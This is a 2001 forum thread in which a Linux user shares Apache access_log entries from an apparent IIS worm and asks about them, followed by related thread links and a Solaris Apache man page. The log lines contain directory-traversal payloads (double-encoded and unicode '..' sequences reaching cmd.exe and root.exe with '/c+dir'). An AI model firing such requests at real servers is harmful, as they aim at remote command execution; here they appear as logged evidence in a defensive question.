Login or Register to Ask a Question and Join Our Community

Sponsored Content
Full Discussion: /var/log/httpd/access_log
Special Forums Cybersecurity /var/log/httpd/access_log Post 7760 by eddie on Monday 1st of October 2001 06:41:42 PM
Old 10-01-2001
Computer /var/log/httpd/access_log
Yesterday I happened to check /var/log/httpd/access_log and found some funny things like these,

209.127.62.159 - - [30/Sep/2001:21:23:09 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
209.127.62.159 - - [30/Sep/2001:21:23:10 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
209.127.62.159 - - [30/Sep/2001:21:23:11 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
209.127.62.159 - - [30/Sep/2001:21:23:11 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
209.127.62.159 - - [30/Sep/2001:21:23:12 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
209.127.62.159 - - [30/Sep/2001:21:23:13 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
209.127.62.159 - - [30/Sep/2001:21:23:13 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
209.127.62.159 - - [30/Sep/2001:21:23:14 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265

Obviously, the access treated my machine like NT/IIS. As we can see from the log, it was trying harder and harder. If I had not shut down port 80, it would have created hundreds of lines in the log file. I also checked the log of the past 3 months, there are about 200 tries of this kind from various ranges of IP address.

I think this is apparently virus attack. Has anybody here ever found such log? I just dial-up to the Internet and the connection lasted for about 30 minutes and I got this attack. I would keep my httpd closed. Thank god, my system is Linux, not NT.Smilie
Last edited by eddie; 10-01-2001 at 07:50 PM..
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

mail access_log

i am trying to figure a way to email my access_log twice a month to myself right before the system zeros it. using crontab is the way to go, but the command to get mail to do the job is my problem. #------------------------------------------- #0-59 0-23 1-31 1-12 0-6 (0=Sunday) #min hour... (3 Replies)
Discussion started by: dayglow
3 Replies

2. Solaris

diff b/w /var/log/syslog and /var/adm/messages

hi sirs can u tell the difference between /var/log/syslogs and /var/adm/messages in my working place i am having two servers. in one servers messages file is empty and syslog file is going on increasing.. and in another servers message file is going on increasing but syslog file is... (2 Replies)
Discussion started by: tv.praveenkumar
2 Replies

3. UNIX for Advanced & Expert Users

/var/adm/messages vs /var/log/messages

The /var/adm/messages in Solaris seem to log more system messages/errors compared to /var/log/messages in Linux. I checked the log level in Linux and they seem OK. Is there any other log file that contains the messages or is it just that Linux doesn't log great many things? (2 Replies)
Discussion started by: gomes1333
2 Replies

4. Emergency UNIX and Linux Support

/var/log/wtmp SuSE log permission rollback

Hello All, On my SuSE system, I have wtmp log this log file permission is 644 but every reboot the file permission rollback to 664. In the logrotate.conf and logrotate.d/wtmp files the wtmp logrotate set to 644. I would like to know, which "file" or "script" modify the wtmp log to rollback to... (7 Replies)
Discussion started by: kalaso
7 Replies

5. Solaris

Difference between /var/log/syslog and /var/adm/messages

Hi, Is the contents in /var/log/syslog and /var/adm/messages are same?? Regards (3 Replies)
Discussion started by: vks47
3 Replies

6. Shell Programming and Scripting

How can view log messages between two time frame from /var/log/message or any type of log files

How can view log messages between two time frame from /var/log/message or any type of log files. when logfiles are very big and especially many messages with in few minutes, I would like to display log messages between 5 minute interval. Could you pls give me the command? (1 Reply)
Discussion started by: johnveslin
1 Replies

7. HP-UX

Script to monitor /var/opt/resmon/log/event.log file

AM in need of some plugin/script that can monitor HP-UX file "/var/opt/resmon/log/event.log" . Have written a scrip in sh shell that is working fine for syslog.log and mail.log as having standard format, have interrogated that to Nagios and is working as I required . But same script failed to... (3 Replies)
Discussion started by: Shirishlnx
3 Replies

8. Shell Programming and Scripting

Access_log parsing and blocking ip

Hello, my website under http get attack. When i check the access_log i can see like this. xx.xxx.xxx.xxx - - "GET //wp-admin/blabla/test.php?jASHSSAsgaGSAgsASGIGIG HTTP/1.1" 200 0 "-" "-" xxx.xxx.x.xx - - "GET //wp-admin/blabla/test.php?jASHSSAsgaGSAgsASGIGIG HTTP/1.1" 200 0 "-" "-" ... (3 Replies)
Discussion started by: SAYGIN
3 Replies

9. Shell Programming and Scripting

Log all the commands input by user at real time in /var/log/messages

Below is my script to log all the command input by any user to /var/log/messages. But I cant achieve the desired output that i want. PLease see below. function log2syslog { declare COMMAND COMMAND=$(fc -ln -0) logger -p local1.notice -t bash -i -- "$USER:$COMMAND" } trap... (12 Replies)
Discussion started by: invinzin21
12 Replies

10. Shell Programming and Scripting

Transfer the logs being thrown into /var/log/messages into another file example /var/log/volumelog

I have been searching and reading about syslog. I would like to know how to Transfer the logs being thrown into /var/log/messages into another file example /var/log/volumelog. tail -f /var/log/messages dblogger: msg_to_dbrow: no logtype using missing dblogger: msg_to_dbrow_str: val ==... (2 Replies)
Discussion started by: kenshinhimura
2 Replies

LEARN ABOUT OSX

apache

apache(1M)						  System Administration Commands						apache(1M)

NAME

       apache - Apache hypertext transfer protocol server overview

DESCRIPTION

	apache	consists  of a main server daemon, loadable server modules, some additional support utilities, configuration files, and documenta-
       tion.

FILES

       The apache HTTPD server is integrated with Solaris.

       The following files specify the installation locations for apache:

       /etc/apache	       Contains server configuration files.

			       A newly-installed server must be manually configured before use. Typically this involves copying httpd.conf-example
			       to the httpd.conf file and making local configuration adjustments.

       /usr/apache/bin	       Contains the httpd executable as well as other utility programs.

       /usr/apache/htdocs      Contains  the  Apache  manual  in HTML format. This documentation is accessible by way of a link on the server test
			       page that gets installed upon fresh installation.

       /usr/apache/include     Contains the Apache header files, which are needed for building various optional server extensions with apxs(8)

       /usr/apache/jserv       Contains documention for the mod_jserv java servlet module. Documention can be read with a web  browser	using  the
			       url:

			       file:/usr/apache/jserv/docs/index.html

       /usr/apache/libexec     Contains loadable modules (DSOs) supplied with the server. Any modules which are added using apxs(8)are also copied
			       into this directory.

       /usr/apache/man	       Contains man pages for the server, utility programs, and mod_perl.

			       Add this directory to your MANPATH to read the Apache man pages. See NOTES.

       /usr/apache/perl5       Contains the modules and library files used by the mod_perl extension to Apache.

       /var/apache/cgi-bin     Default location for the CGI scripts.

			       This can be changed by altering the httpd.conf file and restarting the server.

       /var/apache/htdocs      Default document root.

			       This can be changed by altering the httpd.conf file and restarting the server.

       /var/apache/icons       Icons used by the server.

			       This normally shouldn't need to be changed.

       /var/apache/logs        Contains server log files.

			       The formats, names, and locations of the files in this directory can be altered by various configuration directives
			       in the httpd.conf file.

       /var/apache/proxy       Directory used to cache pages if the caching feature of mod_proxy is enabled in the httpd.conf file.

			       The location of the cache can also be changed by changing the proxy configuration in the httpd.conf file.

ATTRIBUTES

       See attributes(5) for descriptions of the following attributes:

       +-----------------------------+-----------------------------+
       |      ATTRIBUTE TYPE	     |	    ATTRIBUTE VALUE	   |
       +-----------------------------+-----------------------------+
       |Availability		     |SUNWapchr 		   |
       +-----------------------------+-----------------------------+
       |			     |SUNWapchu 		   |
       +-----------------------------+-----------------------------+
       |			     |SUNWapchd 		   |
       +-----------------------------+-----------------------------+

SEE ALSO

       attributes(5)

       http://www.apache.org

NOTES

       In addition to the documentation and man pages included with Solaris, more information is available at http://www.apache.org

       The  Apache  man pages are provided with the programming modules. To view the manual pages for the Apache modules with the man command, add
       /usr/apache/man to the MANPATH environment  variable. See man(1) for  more information. Running catman(1M) on the Apache  manual  pages	is
       not supported.

SunOS 5.10							    8 Aug 2000								apache(1M)
All times are GMT -4. The time now is 11:26 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy